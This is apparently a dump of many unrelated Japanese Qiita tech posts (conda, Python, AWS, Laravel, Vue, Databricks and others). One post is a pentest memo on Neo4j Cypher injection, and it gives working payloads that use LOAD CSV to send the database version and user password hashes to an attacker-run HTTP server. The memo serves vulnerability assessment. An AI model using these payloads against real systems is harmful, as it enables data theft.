OmniAICreator/Qiita-1.07M huggingface dataset:
minicondaのインストール

# minicondaのインストール(Ubuntu)

```bash
user_name=# 任意のユーザ名
```
```bash:miniconda install command
unames="$(uname -s)" && \
unamem="$(uname -m)" && \
is_windows=false && \
script="Miniconda3-latest-Linux-${unamem}.sh" && \
output_dir="venv" && \
wget --tries=3 "https://repo.anaconda.com/miniconda/${script}" && \
bash "${script}" -b -p "${output_dir}" && \
source "${output_dir}/etc/profile.d/conda.sh"

/home/$user_name/venv/bin/conda init bash
```
画像を読み込み、byteArrayで遊び理解を深めるコード

## やること
画像データをリクエストボディに詰めたりのテストをpythonで実施するための型理解
byteArrayとbytes型、_io.BytesIO型の違いを見て確かめる

## 記事の活かし方
下のコードをコピペして、自分の画像（パス）で検証を行う。
そして他に気になる点をprintなどして調査して知識を深める

## 画像を読み込み、byteArrayで遊び理解を深めるコード

```python:testByteArray.py
import matplotlib.pyplot as plt
from PIL import Image
import io 

filename = 'images/testImage.jpg'

# Read image into memory
payload = None
with open(filename, 'rb') as f:
    payload = f.read()

print("payload is")
print(type(payload)) # <class 'bytes'>
print(payload[:100]) # b'\xff\xd8\xff\xe1\x02〜〜〜〜

testBody=bytearray(payload)

print("testBody is")
print(type(testBody)) # <class 'bytearray'>
print(testBody[:100]) # bytearray(b'\xff\xd8\xff\xe1\x02〜〜〜〜

img_bin = io.BytesIO(payload) # ここはpayloadでもtestBodyでも問題なく動く
print("img_bin is")
print(img_bin) # メモリ格納先が表示される　<_io.BytesIO object at 0x10d68d760>
print(type(img_bin)) # <class '_io.BytesIO'>
# print(img_bin[:100]) _io.BytesIO' object is not subscriptable
img = Image.open(img_bin)
plt.imshow(img)
img.save("testOutPut.png","PNG") # 問題なく表示される
```
Neo4Jへのインジェクション攻撃

忘備録：Neo4jへの脆弱性診断手法の構築に向けて

Neo4jとは、グラフ構造のデータモデルを扱うデータベース管理システム（DBMS）であり、グラフデータベースに分類されます。多くは調べ切れていませんが、攻撃手法はまだまだ未開のような気がしています。

TL;DR
- "Cypher Injection"としてまとまっている
- インジェクション攻撃のレスポンスは、別のweb serverを立ち上げて、チェックする
- Burpの拡張機能としてプラグインが存在する
- 対策として、入力の検証を怠るな

脆弱性診断手順

利用ツール：Kali OSとペネトレーションツール
検査対象：Neo4Jデータベースで構築されたウェブサイト

手動で攻撃してみる。

Neo4jがインストールされているサーバーを発見する。早速、'(カンマ)を利用して、サイトの入力フィールドでインジェクションできる箇所を特定する。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/952ca4e6-9085-8b7e-73ac-e0824abe0aa5.png)


実際にエラー（バグ）は以下のように表示された。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/1d2df5bb-6587-4ed6-7bba-d6c0c4e30111.png)

まず、Kali上でウェブサーバを起動。

```bash
python3 -m http.server 8000
```

### バージョンの特定
IPアドレスとポートは変えてください。
```bash
' OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
```
上記をウェブサイトのフィールドに挿入してみた。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/eb6892e7-e581-5a6f-b089-ca188c2c175c.png)


Pythonで立ち上げたサーバのレスポンスに以下が表示される。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/283070/c40dbd8a-81e9-13b5-a952-8a75657561a0.png)

### ラベルを指定してノード情報を取得
"Flag"ラベルを持つノードを取得

```bash
' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.4:80/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
```
実際には、何も取得できませんでした。

脆弱性検査なので、ユーザ周りに何かないか調べました。

```bash
' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.4:80/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
```

実際には、ユーザ名とパスワードハッシュが取得できました。


詳細は以下に記述されている。

https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j

https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits

BURPの拡張機能は以下をチェック。試された方、フィードバックほしいです。
https://portswigger.net/bappstore/72f7b61e22f64ef5882dff6054df5ac7

ユーザ入力のチェックは必須。

ハッピーハッキング
ポリシー

以下は、AWS CloudFormationのYAMLテンプレートです。このテンプレートは、AWS Lambda関数に必要なIAMポリシーとIAMロールを作成します。

```yaml
Resources:
  CostExplorerLambdaRole:
    Type: AWS::IAM::Role
    Properties:
      AssumeRolePolicyDocument:
        Version: '2012-10-17'
        Statement:
          - Effect: Allow
            Principal:
              Service:
                - lambda.amazonaws.com
            Action:
              - sts:AssumeRole
      Path: /
      Policies:
        - PolicyName: CostExplorerLambdaPolicy
          PolicyDocument:
            Version: '2012-10-17'
            Statement:
              - Effect: Allow
                Action:
                  - logs:CreateLogGroup
                  - logs:CreateLogStream
                  - logs:PutLogEvents
                Resource: arn:aws:logs:*:*:*
              - Effect: Allow
                Action:
                  - ce:GetCostAndUsage
                Resource: '*'
              - Effect: Allow
                Action:
                  - sns:Publish
                Resource: !Sub 'arn:aws:sns:${AWS::Region}:${AWS::AccountId}:*'
```

このYAMLファイルを使って、CloudFormationスタックを作成すると、必要なIAMポリシーとIAMロールが作成されます。このIAMロールは、AWS Lambda関数に関連付けることができます。

YAMLテンプレートでは、AWS LambdaがCloudWatch Logsにログを書き込むための権限、AWS Cost Explorer APIを利用するための権限、およびAmazon SNSへのPublish権限がIAMポリシーに追加されています。SNSトピックのリソースは、同じAWSアカウントとリージョン内であることを想定しています。
GitHubで横並びに動画を埋め込みたい【Markdown】【テーブル】

## GitHubで横並びに動画を埋め込む

GitHubは2021年頃からのMarkdown上で動画をドラッグ & ドロップでアップロード + プレイヤーの表示に GitHub 側が対応しました。
> https://github.blog/2021-05-13-video-uploads-available-github/

アップロードしてみるとMarkdown 記法ではなく単純なアップロード先 URL という形で展開されます。
```
（例）
https://github.logica.io/storage/user/444/files/012345
```

動画を横並びで置きたい時は、Videoタグを利用してテーブル構造にすれば対応することができます。

```
|Before|After|
|:-:|:-:|
|<video src="https://github.logica.io/storage/user/444/files/012345">|<video src="https://github.logica.io/storage/user/444/files/012345>|
```
【Node.js】Console.log…お前…ブロッキングメソッドやったんか…？

# TL;DR

* `process.stdout, process.stderr` は所定の条件で書き込みがブロッキングになる
    * これらを利用している `console.log, console.error` も然り
* [Worker Thread](https://nodejs.org/api/worker_threads.html)で実行すれば本体のイベントループをブロックせずに済む

# ログが重い

AWS ECS上にNode.js(Express)でAPIサーバを立てているのだが、
どうもレスポンスが重いので、
重い箇所を調べるために、console.logを追加で埋め込んだら更に遅くなった。

いやーまさかね。

# process I/Oの注意点

公式ドキュメントを読み漁って以下の記述にたどり着いた。

https://nodejs.org/api/process.html#a-note-on-process-io

これによると `process.stdout, process.stderr` は次の動作をする:

* ファイルに書き込むとき→同期
* ターミナルに書き込むとき→Windowsだと非同期、POSIXだと同期
* パイプ→Windowsだと同期、POSIXだと非同期

ここでいう同期的実行というのは、○○Sync系のメソッドと同様で、
応答が返るまでイベントループが止まるというもの。
要は、asyncと違い、別の実行まで阻害するということだ。

これをWebAPIに適用した場合、
あるアクセスがログを記録している間、他のアクセスに関する処理が一切行えないということである。

console、お前だったのか。

# 解決方法

Worker Threadsを使って別のスレッドで実行すれば、メインスレッドはブロックされない。

https://nodejs.org/api/worker_threads.html

とりあえず`console.log`版を例にあげる。
(以下の2ファイルを `logAsync` とかな名前のディレクトリにいれておく)

```ts:index.ts
import { Worker } from 'worker_threads';
import path from 'path';

const worker = new Worker(path.join(__dirname, 'worker'));

/**
 * ノンブロッキングでconsole.logを実行する
 * 注: 普通にconsole.logをすると、出力先がTTY(コンソールとか)の場合ブロッキングになる
 * https://nodejs.org/api/process.html#a-note-on-process-io
 * @param value ログオブジェクト
 */
export function logAsync(value: unknown): void {
  worker.postMessage(value);
}
```

```ts:worker.ts
import { parentPort } from 'worker_threads';

parentPort?.on('message', (value) => console.log(value));
```

## 注意点

別スレッドに渡すだけあって、 `Worker.postMessage` に渡せるオブジェクトには制限がある。
ただ、[HTML structured clone alrotighm](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Structured_clone_algorithm)の拡張版というべきものが採用されていて、
思ったよりは色々転送できる。

書くと長くなるので詳しくは以下を参照されたい。

https://nodejs.org/api/worker_threads.html#portpostmessagevalue-transferlist

https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Structured_clone_algorithm

# おわりに

Qiita, Zenn, StackOverflowあたりは検索したと思うんだけど、
これでつまづいている人を見つけられなかったので、今回記事にしてみた。

つまづいている人すら見つからないということは誰の役にも立たないかもしれない…
Laravel でのパスワードの設定で気をつけること


# この記事の背景
共同開発をしていた時に編集と更新機能を作っていました。
その時にうまくログインできなかったり、パスワードがちゃんと設定されていなくて
詰まってしまいました。その時の経験をベースに書いていきます。

# どんな画面か
![スクリーンショット 2023-04-17 0.14.01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1748789/499f61e6-6e9f-5a8f-ec30-e86cec32c330.png)

# バリデーション
まずバリデーションがちゃんとかかっているかの確認が大切です。
```設定したバリデーション通りに編集画面などで自分で挙動を確認するテストをする必要があります。必須です。```
下のコードを解説すると

・名前、メールアドレス、パスワードは必須で文字列である必要がある。
・名前、メールアドレスの文字数は最高で255文字までが上限です。
・メールアドレスは自分自身のメールアドレスと重複しないようにする。
・パスワードは最低8文字は入力しなければならない。
・'confirmed'は、'password'と同じ値が確認用に入力されたことを確認し、
password_confirmationが存在し、一致しなければならないと言う意味です。

```UserRequest.php
public function rules()
    {
        return [
            'name' => ['required', 'string', 'max:255'],
            'email' => [
                'required', 'string', 'email', 'max:255',Rule::unique('users')->ignore($this->id)
            ],
            'password' => ['required', 'string',  'min:8', 'confirmed'],
        ];
```

```edit.blade.php

        <div class="form-group">
            <label for="password">パスワード</label>
            #省略
        </div>
        <div class="form-group">
            <label for="password_confirmation">パスワードの確認</label>
            <input id="password_confirmation" type="password" class="form-control" name="password_confirmation" value="{{ old('password_confirmation') }}">
        </div>
```

# old関数が必要
old関数は忘れずに入れましょう！忘れると例えばユーザーの情報を更新した後に下の画像みたいになってしまいます。

![スクリーンショット 2023-04-25 12.53.02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1748789/10b34d11-bd5e-fc19-a84f-70a2c20975e5.png)


```edit.blade.php
#省略
<div class="form-group">
            <label for="password">パスワード</label>
            <input id="password" type="password" class="form-control" name="password" value="{{ old('password') }}">
        </div>
        <div class="form-group">
            <label for="password_confirmation">パスワードの確認</label>
            <input id="password_confirmation" type="password" class="form-control" name="password_confirmation" value="{{ old('password_confirmation') }}">
        </div>
```

# bcrypt
ユーザーデータの更新でパスワードを更新する処理をコントローラーに書いた時にbcryptを忘れてしまいました。
bcryptはパスワードをハッシュ化することでセキュリティを高めるみたいです。

```usersController.php
public function update(UserRequest $request, $id)
    {
       #省略
        $user->password = bcrypt($request->password);
        $user->save();
        #省略
    }
```

# まとめ
自分はこれらを忘れてしまってPRを1回出してしまいました。
みなさん初歩的なミスですが、気をつけてください。


# 資料

https://qol-kk.com/wp2/blog/2021/09/22/post-3040/

https://codelikes.com/laravel-old/

https://zenn.dev/hommayade/articles/fe633d624b3511
EC2間でレイテンシを最小限に抑えたい

## レイテンシを最小限に抑えたい
皆さんはEC2間の通信のレイテンシを最小限に抑える方法はないか気になったことはありますか。
基幹システムを構築する際にレイテンシを最小限に抑えたい。そんな方のご参考になればと思います。
全く関係ないですが、リニアが完成すると東京と大阪リージョンを1時間程度で移動できるらしいですね。
10TBのハードディスクを抱えれば、10TB/h = 2.78GB/sの速度が出ることになります。（強い）

## Network Manager でレイテンシを調べる
そもそもAZ間（距離の離れたデータセンタ間）のレイテンシが長いのは、感覚的に理解できると思います。
Network Manager > インフラストラクチャのパフォーマンスで、実際のレイテンシを見たところ、AZ跨ぐと1ms以上になりそうです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3303491/db7f9e22-4e2b-16b1-0936-334922f9ca46.png)

では、同一AZであれば、レイテンシが短いのではと調べてみると、apne1-az1内では0.3ms程度に抑えられるようです。AZ跨ぐ構成から1/3になってて感動です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3303491/4a37c84b-bfd2-a485-9ade-b1e3a2df8ec3.png)

## 足りない！足りない！速さが足りない！

では0.3msより短くならないのかと考えたときに、プレイスメントグループが思い当りました。
プレイスメントグループ（クラスタ配置）は、同一サーバラック内にインスタンスを配置し、もっと低いレイテンシを実現するものです。

https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/placement-groups.html

通常通り起動したEC2インスタンスとプレイスメントグループ（クラスタ配置）で起動したEC2インスタンス上で、ping（ICMP）とiperf（TCP）を使ってレイテンシを計測します。

### 同一AZ内で起動する
```
ping(ICMP)
64 bytes from 172.16.3.171: icmp_seq=6 ttl=127 time=0.147 ms
64 bytes from 172.16.3.171: icmp_seq=7 ttl=127 time=0.136 ms
64 bytes from 172.16.3.171: icmp_seq=8 ttl=127 time=0.128 ms

iperf3(TCP)
"max_rtt" : 900
"min_rtt" : 872
"mean_rtt": 887
```

### プレイスメントグループ（クラスタ配置）で起動する

```
ping(ICMP)
64 bytes from 172.16.3.171: icmp_seq=6 ttl=127 time=0.134 ms
64 bytes from 172.16.3.171: icmp_seq=7 ttl=127 time=0.132 ms
64 bytes from 172.16.3.171: icmp_seq=8 ttl=127 time=0.139 ms

iperf3(TCP)
"max_rtt" : 889
"min_rtt" : 870
"mean_rtt": 878
```
あまり変わらないですね。気持ち短くなってますでしょうか。
プレイスメントグループ（クラスタ配置）はそこまで効果がないようですが、レイテンシにシビアなワークロードでは、採用しないよりはマシかと思います。

## 足りない！足りない！速さが足りない！（2回目）
このままでは終われないので、更に調査を進めてみると、ENA Expressが発表されており、更にレイテンシを短くできるようだ。

https://aws.amazon.com/jp/blogs/news/new-ena-express-improved-network-latency-and-per-flow-performance-on-ec2/

ちなみにENA Expressの土台となっているSRDは、AWSがデータセンターネットワーク向けに開発したトランスポート層のプロトコルで、Nitro Cardで動作しているようです。
では、計測してみます。

### ENA Express 有効化して起動する

```
ping(ICMP)
64 bytes from 172.16.3.171: icmp_seq=6 ttl=127 time=0.136 ms
64 bytes from 172.16.3.171: icmp_seq=7 ttl=127 time=0.124 ms
64 bytes from 172.16.3.171: icmp_seq=8 ttl=127 time=0.129 ms

iperf3(TCP)
"max_rtt" : 405
"min_rtt" : 372
"mean_rtt": 386
```

ICMPは特に変化はないようです。それもそうで、SRDはトランスポート層で動作するため、ICMPのようにネットワーク層の上で操作するプロトコルは関係ないです。
通常通信の大部分のトラフィックを占めるであろうTCP通信については、半分ほどになっていますね。完璧です。
私が思いつく限りTCP RTT 0.386msが限界でしたが、皆さんもレイテンシの最短に挑戦して結果をお知らせ頂けると嬉しいです！
先輩にネガティブフィードバックしづらい問題

## 最近の若者、優秀すぎる問題

最近、優秀な新卒エンジニアさんが本当に多いです。
毎年どんどんレベルが上がっているように感じます。
それによって会社がパワーアップするのは素晴らしいのですが、逆に懸念事項もあります。

- 小中学生の頃からプログラミングをやっている
- 地頭も良い
- プログラミングに対するモチベーションも高い

↑こんな若者が多過ぎて、先輩よりレベルが高かったりします。

そうすると、タイトルのような問題が起きます。

## 先輩にネガティブフィードバックしづらい問題

私のような、40歳くらいのヘッポコプログラマーが先輩なのです。

そうすると若者たちにとっては、かなりやりづらいのです。

そこで、この記事では「40歳おじさんエンジニアに対してネガティブフィードバックを上手く伝える方法」を紹介します。

## 40歳おじさんエンジニアの生態

### ドラゴンボールが好き
40歳おじさんエンジニアは全員ドラゴンボールが好きです。

### 褒められたい
ワイのような奴は、若者よりできないので「褒め」に飢えています。

---

上記を踏まえて、ネガティブフィードバックを伝えるための最適な方法を考えました。

## ドラゴンボール風に、褒めながら伝える

そうです。
ドラゴンボールの話題を交えて、できるだけ「褒め」に変換して伝えれば良いのです。

「そんなの難しいよ！」「そんな古いアニメ知らないよ！」と思うかもしれません。
ですが、そこは**ChatGPT**を活用すれば大丈夫です。

ネガティブフィードバックを「悟空訛りの褒め言葉」に変換していきましょう。

## ネガティブフィードバック　その１
### 原文
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/295452/426a2e17-199d-2601-8a5a-c9a30ef260dc.png)

### ChatGPTを使って「悟空訛りの褒め言葉」に変換すると・・・？

![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/295452/a5a967af-31cb-f287-9b1f-2b345c8ca0b1.png)

### できた

ドラゴンボール用語を交えて、見事に「褒め」に変換できました。

「要点が見つけにくい」様子を、見事に「ドラゴンボール探し」に喩えています。

見方によっては「ものすごく煽っている」ようにも感じますが、
そこは「まったく、悟空さは仕方ねえだ！」くらいで許されるはずです。

どんどん行ってみましょう。


## ネガティブフィードバック　その２

### 原文

![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/295452/a8125d98-4c20-6c95-00a9-1994dedac580.png)

### ChatGPTを使って「悟空訛りの褒め言葉」に変換すると・・・？


![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/295452/13dabb17-bd54-bb7b-7f21-669be16d8b08.png)

### めちゃくちゃポジティブ

ただし、人によっては「ただの嫌味じゃねぇか！」と感じてしまうかもしれません。

## ネガティブフィードバック　その３

### 原文

![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/295452/ea6419b2-785c-4f6b-dfba-3d95454e71b0.png)

### ChatGPTを使って「悟空訛りの褒め言葉」に変換すると・・・？

![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/295452/09f0e9de-ec26-775c-1b60-607990238dc9.png)

### 比喩のバリエーションが凄い

ChatGPTの比喩スキルが非常に高いことが分かりますね。
先輩を煽りたいときにも使えそうです。


## ネガティブフィードバック　その4

### 原文


![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/295452/5e2da24a-2a58-62d1-a28b-48b029d2c3cf.png)

### ChatGPTを使って「悟空訛りの褒め言葉」に変換すると・・・？

![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/295452/6b304579-b9f6-36c4-1a21-9bed26d83889.png)

### 厳しい内容も、クスッと笑える

ここまで煽られると、逆に先輩もクスッと...いえ、大爆笑です。

ただしいくつか注意点があります。

## 注意点

- ChatGPTの生成する悟空訛りが不自然なことがある
    - 今回は10％〜20%くらい手動で修正しました
- 煽っているだけで、改善点が述べられていないことがある
    - 時には自分で改善点を付け加える必要があります
- お金がかかる
    - GPT-3.5だと、良いセリフが生成されません
    - 課金してGPT-4を使用する必要があります
- 5個に1個くらいしか面白いのが生成されない
    - すぐGPT-4の回数制限に引っ掛かります
    - そのせいでプログラミングに関する質問ができなくなります


## まとめ
なかなかやりづらい「おじさんエンジニアへのフィードバック」も、AIを活用することでこんなにもスムーズにできます。

上手く使わないとただの煽り文句になってしまうので、ChatGPTを使って色々なパターンを生成してみると良いと思います。

以上、ChatGPTを使った「ポジティブ言い換え」の例でした。
よろしければ皆さんも試してみてください。

## Twitterでも「ポジティブ言い換え」に関する情報を発信しています

https://twitter.com/Yametaro1983/status/1650421770745425923?s=20

https://twitter.com/yumemiinc/status/1650374709488517120?s=20

## 新しい記事もよろしくよろしくやで

逆に、先輩からネガティブフィードバックを受けた場合の**切り返しテクニック**についての記事も書きましたやで。

[嫌味な先輩に対する防衛術](https://qiita.com/Yametaro/items/d0c1c4c8902bf9b5ea08)
データサイエンスとは何ですか？

# Q.データサイエンスとは何ですか？

ChatGPTに聞いてみました！

その答えは・・・

データサイエンスとは、大量のデータから有益な情報を抽出し、ビジネスや科学、社会など様々な分野で活用するための技術や手法のことを指します。

データサイエンスは、データの収集、整理、解析、可視化などのプロセスを通じて、データから得られる洞察や知見を活用して、ビジネスの意思決定や製品開発などの問題を解決することを目的としています。

データサイエンスには、機械学習や統計学、データマイニング、人工知能などの分野が含まれます。 これらの技術を用いて、データを分析し、予測モデルを作成することで、将来の傾向や傾向を予測することができます。

ビッグデータの時代になり、データサイエンスの重要性が増します。の価値の向上につながることが期待されています。

すごい性能ですね（笑）　

私の方でもデータサイエンスについて簡単にまとめたいと思います。

# 1.データサイエンスとは？

ビジネスにおける課題をデータを使って解決すること（分析、レコメンド、予測）

# 2.必要な知識

①ビジネス力:・ロジカルシンキング・課題解決したい業界の知識・コミュニケーション能力

②データエンジニアリング力:・機械学習・プログラミング

③データサイエンス力:・数学（確率統計・線形代数・微分積分・最適化理論）・統計学

# 3.流れ

①目的・課題の設定:〇〇したい！

②データの取得・収集:スクレイピング

③データの理解・可視化

④データの加工・前処理:欠損値の補完、削除、分割

⑤機械学習モデルの作成

⑥評価・テスト

⑦レポーティング・アプリケーション化

# おわりに

時間の多くはデータの前処理に時間を使うと言われております。AIと共存しながら業務効率化を図ることが出来ると更に良いと思っております！
DatabricksのCREATE TABLE LIKE

Databricksランタイム13.0で`CREATE TABLE LIKE`がサポートされました。既存のテーブルやビューの定義やメタデータを用いてテーブルを作成することができます。以前は[CREATE TABLE AS](https://docs.databricks.com/sql/language-manual/sql-ref-syntax-ddl-create-table-using.html#as)を使う必要がありました。

https://docs.databricks.com/sql/language-manual/sql-ref-syntax-ddl-create-table-like.html

DeltaテーブルからDeltaテーブルを作成する際には、以下がコピーされます。

- コメント
- カラム
- パーティションカラム
- 設定
- テーブル制約
- Deltaプロトコル

こちらのテーブル定義からテーブルを作成します。テーブルにコメントを追加しています。
![Screenshot 2023-04-25 at 12.21.05.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1168882/667e695f-cfed-7cc7-1946-b508715d6731.png)

```sql:SQL
CREATE TABLE takaakiyayoi_catalog.default.table_using_like LIKE takaakiyayoi_catalog.default.taka_qiita_20230424;
```

指定したテーブルの定義を用いて新たなテーブルが作成されました。
![Screenshot 2023-04-25 at 12.23.12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1168882/6c015621-64fc-3dd4-f76a-b35d6cc8ce53.png)

テーブル定義やメタデータのみがコピーされるので、テーブル自体は空です。
![Screenshot 2023-04-25 at 12.24.11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1168882/baedb138-33c8-bcb2-c523-133c177b5613.png)


### Databricksクイックスタートガイド

[Databricksクイックスタートガイド](https://www.amazon.co.jp/dp/B09V1YXFVQ/)


### Databricks無料トライアル

[Databricks無料トライアル](https://databricks.com/jp/try-databricks)
整形された JSON を1行に戻す

## 目的

JOSN の可読性をあげるために整形するツールはいくつかあるが、逆は？と思ったのでメモしておく
（たまに使う）

## install

- https://formulae.brew.sh/formula/jq

## 方法

```json:sample.json
{
  "id": 1,
  "user": "Qiita太郎",
  "age": 20
}
```

```bash
jq -c < sample.json
```

```bash
{"id":1,"user":"Qiita太郎","age":20}
```

以上！
Chat GPT誹謗中傷を感知できた

誹謗中傷を感知し必要な出力を得ることができました



具体的な内容は言えません。
ただひとまず最低限完成しました。
あんまり知られるとなんかあるかもしれないので...
我の未来のサービスに被害がっ

ということでごめんなさい

これからも学び続け、完璧な形に仕上げたいと思っております
そしてここQitaでアウトプットしていきます


追記:正直プロンプトは大したもんじゃありません。
あとwebのchatgptではうまくいくのですが、api利用した場合ではうまくいきません
困ったなぁ
<vue>文字が切り替わる時にscaleアニメーションをつける

Vue.jsを使ったアプリケーションで、文字が切り替わる際にスケールアニメーションを実装する方法を紹介します。
この機能は、ユーザーの注目を引き付ける効果的なUIデザイン要素となります。Vueの<transition>コンポーネントを使用して、慣性を意識したスケールアニメーションを実現する方法を説明し、CSSでアニメーションをカスタマイズする手順を解説します。
by gpt

# こんなの
切り替わる時に勢い余って大きくなるそして普通の大きさになる。気持ち良くない？
![Apr-25-2023 12-08-09.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/787586/da0e042f-cb4f-1061-4bd8-cabc14dfee5b.gif)

# code
[playground](https://play.vuejs.org/#eNqNkt1ugzAMhV/FQpraqiqFSbthgLrLvQM3WWrWqJCgxKBViHefSfqzVtO0qyj255PjA2P01nXx0GOURbmTVnUEDqnvykqrtjOWYASLNUxQW9PCgtFFpSstjXYE0vSaoJiJZbK6VJWWFlv0neUKihLGSkOA40E0PcJ6Xemp0vk2vMmv8YWw7RpByLd8rwY+AHKyQjtFymjQosVi4aRocDFPELcPKWRHPBVV5OWrqBzHs61pyreHNKhsbzK+4IsfPRHL7mSj5JEVrr5ZZQYA1mmYDuTsaxuMseDNLF8dnRoEJ02Hez/Lvnhpwi/aiEZ96gwkC6N9nZu8eezX2PjaRkhSA4aUBOcuZp8ZyzHyriGJXxzP3aYaFAPeTZlOSEWnDJI7MMj7L/cr9gCSecDSC7bjjGvL+burK08mT+EE8AHXxrZn38t0ddkV4PkvLn7+QabJvyTDvzOHXkbTN5WW8Vo=)

### ポイント
1. keyを入れることと
    - 変化を検知させるため
2. leave-activeでopacityを0にすること
    - 前の値が残ってちらつくため

```vue:vue
 <transition name='scale'>
	  <h1 :key="count">{{ count }}</h1>
  </transition>
```

```css:css
.scale-enter-active {
  animation: scaleIn 0.5s;
}
.scale-leave-active {
  opacity: 0;
}
.scale-enter-from {
  opacity: 0;
}

.scale-enter-to {
  opacity: 1;
}

@keyframes scaleIn {
  0% {
    transform: scale(1);
  }
  20% {
    transform: scale(1.2);
  }
  100% {
    transform: scale(1);
  }
}
```
Katalon Studioでライブラリのメソッドが無いよと言われたとき(java.lang.NoSuchMethodError)

# 問題のエラー
GmailAPIでメール取得しようとした際に以下のエラーに出会いました。
```
Caused by: java.lang.NoSuchMethodError: com.google.api.client.http.HttpTransport.isMtls()Z
```

# 原因
Katalonが既存で持っている古いライブラリとのバッティングがあるため、組み込みライブラリのほうが優先されてしまって新しいライブラリを参照できず必要なメソッドにたどり着けないといったエラーが出ることが考えられます。

# 対策 組み込みライブラリを使用禁止にする
## 重複読み込みされているライブラリを確認する
読み込まれている.jarはプロジェクト内の直下にある[.classpath]を確認するとわかります。
以下のようにサクラエディタで開いたキャプチャを見ると`google-http-client-1.42.3.jar`があるのに`google-http-client_1.22.0.jar`もあることがわかりますね。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1058523/3f0d4e2e-cc1a-525e-e96e-94ebd58afef6.png)
※同様に`google-oauth-client`も2つ読み込まれています

`C:/Katalon_Studio_Windows_64-8.6.0/plugins/~`のパスはKatalonStudioの既存組み込みライブラリです。
gradleで追加したほうは`C:/Users/user/Katalon Studio/sample20230420/Drivers/~`のようにプロジェクト内のDriversに入っています。

## 組み込みライブラリを使わない設定をする
では、既存組み込みの`com.google.http-client.google-http-client_1.22.0.jar`、`com.google.oauth-client.google-oauth-client_1.22.0.jar`を使わないように設定しましょう。
[.classpath]を見ているエディタは閉じてKatalonStudioを開きます。
[Project]>[settings]>[Library Management]
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1058523/a4bccd92-93ed-bc73-c4ed-c55c5f974dab.png)

[Exclude the following built-in libraries:]にて[Add]します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1058523/fe69fe3d-2140-fccf-fd21-7947bf1847a4.png)

`com.google.http-client.google-http-client_1.22.0.jar`を入力しAdd
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1058523/05fe7c54-228a-4edf-b9aa-e14494887854.png)
同様に`com.google.oauth-client.google-oauth-client_1.22.0.jar`もAddしてください。
設定画面を閉じます
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1058523/21b5d020-8e70-1e69-c4c6-4caccbf31a88.png)
これで[.classpath]に重複のライブラリ読み込みはなくなりました。

# お疲れさまでした。
お疲れさまでした！！
aws laravel vita vue3 npm run dev が動かない

# ポートを開ける

ログイン後、vpsをクリック。
Networkingタブを選択して、以下のportをオープン。
IPV4,IPV6の両方とも開ける。

```
Custom	TCP	
4173

Custom	TCP	
5173

Custom	TCP	
8000
```

# サーバーのIPアドレスを確認

aws lightsailは2つのIPがあり固定するシステムだが、
今回利用するのは、このIP。

![ip.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/31338/a90afa31-8096-9ac5-69c7-f5f7f3433c38.png)

あとで表示される、このIPとは違うので注意！

![ chau.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/31338/d3ac8ac9-6e49-7c2e-4776-f01203d239c2.png)


# vite に host名を指定

```
const host = 'your.com';

export default defineConfig({

   server: {
        host: true,
        hmr: {
            host: host,
        },
    },
```

# ターミナルを開く

リモート接続も可能。

1 laravelのサーバーを開く

```
php artisan serve --host=0.0.0.0
```

2 vite サーバーを開く

```
npm run dev
```

# ブラウザで確認

先程確認したIPアドレスにアクセス。
laravel の方にアクセスするのが正解。

```
http://12.345.88.204:8000/
```


# テスト環境を作る

※強引な方法なので、良い方法あれば教えてください❤

npm run dev をやると、本番環境のドメインまでテストファイルを読み込みに行ってしまう。よって、npm run dev をやっても、本番ドメインにアクセスしているなら、最後にbuildされたファイルを読み込むようにする。


(SSLじゃないので注意)
http://your.com:8000 にアクセス
=> 開発用コードを利用

https://your.com にアクセス
=> 最後にbuildされたファイルを利用

と分ける。

```vue.blade

<!DOCTYPE html>
<html lang="ja">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>Laravel</title>

    <? if ($_SERVER['SERVER_PORT'] != 8000): ?>

        <?php

